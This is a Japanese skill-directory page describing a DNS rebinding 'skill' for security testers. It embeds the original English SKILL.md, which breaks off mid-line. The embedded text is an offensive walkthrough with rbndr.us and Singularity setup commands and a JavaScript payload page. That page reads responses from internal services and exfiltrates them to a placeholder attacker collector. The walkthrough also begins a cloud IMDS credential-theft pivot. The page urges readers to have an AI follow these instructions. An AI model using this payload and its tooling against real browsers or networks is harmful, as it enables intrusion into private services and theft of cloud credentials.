本文へスキップ
Skillpedia
セキュリティ6.5k · #14060

dns-rebinding

できること

このスキルはDNSリバインディングを説明します。これは、Webサイトが訪問者のブラウザを使って非公開のネットワークサービスに接続させる手口です。内部への露出を確認するセキュリティテスター向けです。

使う場面

  • ✓サーバー側のリクエストフィルターで対象を遮断しているが、訪問者のブラウザを使えばまだ到達できる可能性があるとき。
  • ✓ローカル開発用のサービスや社内ダッシュボードが、ブラウザから届く状態かもしれないとき。
  • ✓アプリがホスト名のチェックでDNSリバインディングを防いでいるか確認したいとき。

スキルのリンク

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dns-rebinding/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“私の社内ダッシュボードが、ブラウザでのDNSリバインディングによって到達されないか確認してください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

ドメインがまず公開アドレスに解決され、短い時間の後に内部アドレスへ切り替わります。そのため、ページは同じサイトからの応答であるかのように内容を読み取れてしまいます。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

DNS Rebinding

DNS rebinding lets an attacker-controlled page make the victim's browser treat attacker.com as if it were 127.0.0.1 (or any internal IP). The browser's same-origin policy checks the hostname, not the IP — so after rebinding, the page's JS can read responses from the internal service as if they were same-origin.

When This Applies

Scenario Viable?
SSRF blocked, but victim browser is reachable Yes — browser does the internal fetch
Localhost service (Electron app, dev server, K8s dashboard) Yes — browser calls 127.0.0.1:<PORT>
Cloud IMDS (169.254.169.254) reachable from instance's browser Yes — rare but critical
Server-side SSRF filter allows attacker.com Yes — rebind to internal IP
Target has DNS-rebinding protection (Host header check) Partial — see bypass §7

2. Attack Mechanics

Phase 1 — Victim resolves attacker.com → public IP

Victim visits http://attacker.com/payload.html. Browser resolves the DNS name → gets the attacker's real public IP → same-origin allows the page's JS to load and execute.

Phase 2 — TTL expires, DNS flips to 127.0.0.1

The attacker's DNS server returns a very short TTL (0–1 s). After TTL expiry, a second DNS query returns 127.0.0.1 (or target internal IP).

Phase 3 — JS makes same-origin request

The page's JS calls fetch("http://attacker.com/api/v1/secret"). The browser re-resolves attacker.com → gets 127.0.0.1 → sends the request to the local service on the attacker's behalf, receives the response, and exfiltrates it.

[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)
                                         ... wait TTL ...
[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)
[Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080]
[Browser] → response body exfiltrated to attacker

3. Tooling

rbndr.us (fastest, no setup)

Public DNS rebinding service by Taviso. Construct a hostname that encodes both IPs:

<hex-public-ip>.<hex-target-ip>.rbndr.us

Example — rebind attacker.com from 1.2.3.4 to 127.0.0.1:

PUBLIC_HEX=$(python3 -c "import socket; a='<YOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))")
TARGET_HEX="7f000001"   # 127.0.0.1
REBIND_HOST="${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us"
echo "Rebind hostname: $REBIND_HOST"
# → e.g. 01020304.7f000001.rbndr.us

The rbndr.us server alternates between the two IPs on each DNS request. Set up your payload page at http://$REBIND_HOST:8080/.

Singularity (full-featured, self-hosted)

git clone https://github.com/nccgroup/singularity /workspace/singularity
cd /workspace/singularity/html

# Configure the manager
# Edit cmd/singularity-server/main.go: set rebindingFn to "rr" (round-robin)
# or "fs" (first satisfied)

docker run -it --rm \
  -p 53:53/udp -p 8080:8080 \
  nccgroup/singularity

# Access the manager at http://<VPS>:8080/manager.html
# Set "Attack host" = attacker's public IP
# Set "Target host" = 127.0.0.1 (or internal IP)
# Set "Target port" = target port (e.g. 2375 for Docker, 6443 for K8s)
# Generate the attack URL; deliver to victim

4. Payload Page

Minimal JS to fetch once rebinding succeeds:

<!DOCTYPE html>
<html>
<body>
<script>
const host = location.hostname;   // e.g. xxxx.7f000001.rbndr.us
const target = "http://" + host + ":<TARGET_PORT>/";
const exfil  = "https://<ATTACKER_COLLECTOR>/";

function tryFetch(attempt) {
    fetch(target, {cache: "no-store"})
        .then(r => r.text())
        .then(body => {
            // Got internal service response — exfiltrate
            fetch(exfil + "?d=" + btoa(body).slice(0,1000));
        })
        .catch(err => {
            // DNS hasn't flipped yet, retry
            if (attempt < 30) setTimeout(() => tryFetch(attempt+1), 1000);
        });
}

setTimeout(() => tryFetch(0), 500);  // give first TTL a moment to expire
</script>
</body>
</html>

For IMDS specifically, AWS v1 and GCP do not require special headers from the browser perspective — the only protection is Host header validation (see §7). Azure IMDS requires Metadata: true header — inject via:

fetch(target, {headers: {"Metadata": "true"}, cache: "no-store"})

5. Cloud IMDS Pivot

Once the rebinding hits 169.254.169.254:

// AWS IMDSv1 — enumerate IAM role
fetch("http://attacker.com/latest/meta-data/iam/security-credentials/", {cache
よくある質問

DNSリバインディングとは、簡単に言うとどんなものですか?

ドメイン名がまず公開サーバーを指し、その後で内部アドレスに変わることで、本来非公開であるべきサービスにWebページが届いてしまう手口です。

スキルではどの内部アドレスに触れていますか?

対象の一例として、クラウドのメタデータアドレス169.254.169.254を挙げています。

このスキルは防御策も扱っていますか?

はい。一部の対象ではHostヘッダーのチェックが使われていますが、それだけではこの攻撃を部分的にしか防げないと説明しています。

詳細

作者による元の説明

DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.

repo: BitterSecurity/Decepticon

人気

GitHubのスター
6.5k
ランキング
#14060
ライセンス
Apache-2.0
更新日
2026/11/1

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル